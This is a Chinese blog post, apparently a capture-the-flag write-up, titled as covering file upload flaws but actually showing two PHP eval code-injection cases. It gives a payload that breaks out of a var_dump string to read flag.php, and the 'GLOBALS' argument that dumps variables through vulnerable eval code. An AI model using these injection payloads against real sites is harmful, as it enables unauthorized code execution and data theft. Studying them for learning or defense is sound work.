博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
典型的文件上传漏洞
阅读量:7294 次
发布时间:2019-06-30

本文共 672 字,大约阅读时间需要 2 分钟。

案例一

URL:
代码

其实就是拼接eval

可构造如下语句:

1);print_r(file(flag.php));//

到了代码里就是

eval( "var_dump(1);print_r(file(flag.php));//);");

案例二

URL:

 

flag In the variable ! <?php  

error_reporting(0);// 关闭php错误显示
include "flag1.php";// 引入flag1.php文件代码
highlight_file(__file__);
if(isset($_GET['args'])){// 通过get方式传递 args变量才能执行if里面的代码
    $args = $_GET['args'];
    if(!preg_match("/^\w+$/",$args)){// 这个正则表达式的意思是匹配任意 [A-Za-z0-9_] 的字符,就是任意大小写字母和0到9以及下划线组成
        die("args error!");
    }
    eval("var_dump($$args);");// 这边告诉我们这题是代码审计的题目
}
?>

 

这个可以注意一下eval很明显$$.首先他说如果不符合那个正则就die。\w的意思是所有的字母。也就是说$args必须要是字母才行。倘若是GLOBALS到eval就是eval("var_dump($GLOBALS);");

转载于:https://www.cnblogs.com/WhiteHatKevil/p/10164814.html

你可能感兴趣的文章
栈溢出防御——windows安全机制GS编译选项
查看>>
得到输入内容的首字母
查看>>
sklearn特征选择和分类模型
查看>>
hadoop搭建与eclipse开发环境设置
查看>>
三:简单工厂模式
查看>>
#51CTO学院四周年#其实、其实,我就是来吐槽的”
查看>>
java 三种将list转换为map的方法详解
查看>>
iOS开发系列--让你的应用“动”起来
查看>>
Web项目中文件上传Filter处理
查看>>
Gradle常用配置
查看>>
LVM 使用详解
查看>>
驰骋工作流程底层的API开发接口-重要的
查看>>
如何防止无线网络被破解
查看>>
苹果发布被拒绝的种种惨剧
查看>>
Install Apache in Linux
查看>>
安装CocoaPods
查看>>
websocketd 实现浏览器查看服务器实时日志
查看>>
SVN服务器与客户端的配置
查看>>
HBase图文详解
查看>>
自定义FragmentTabHost实现可控制是否保存fragment状态
查看>>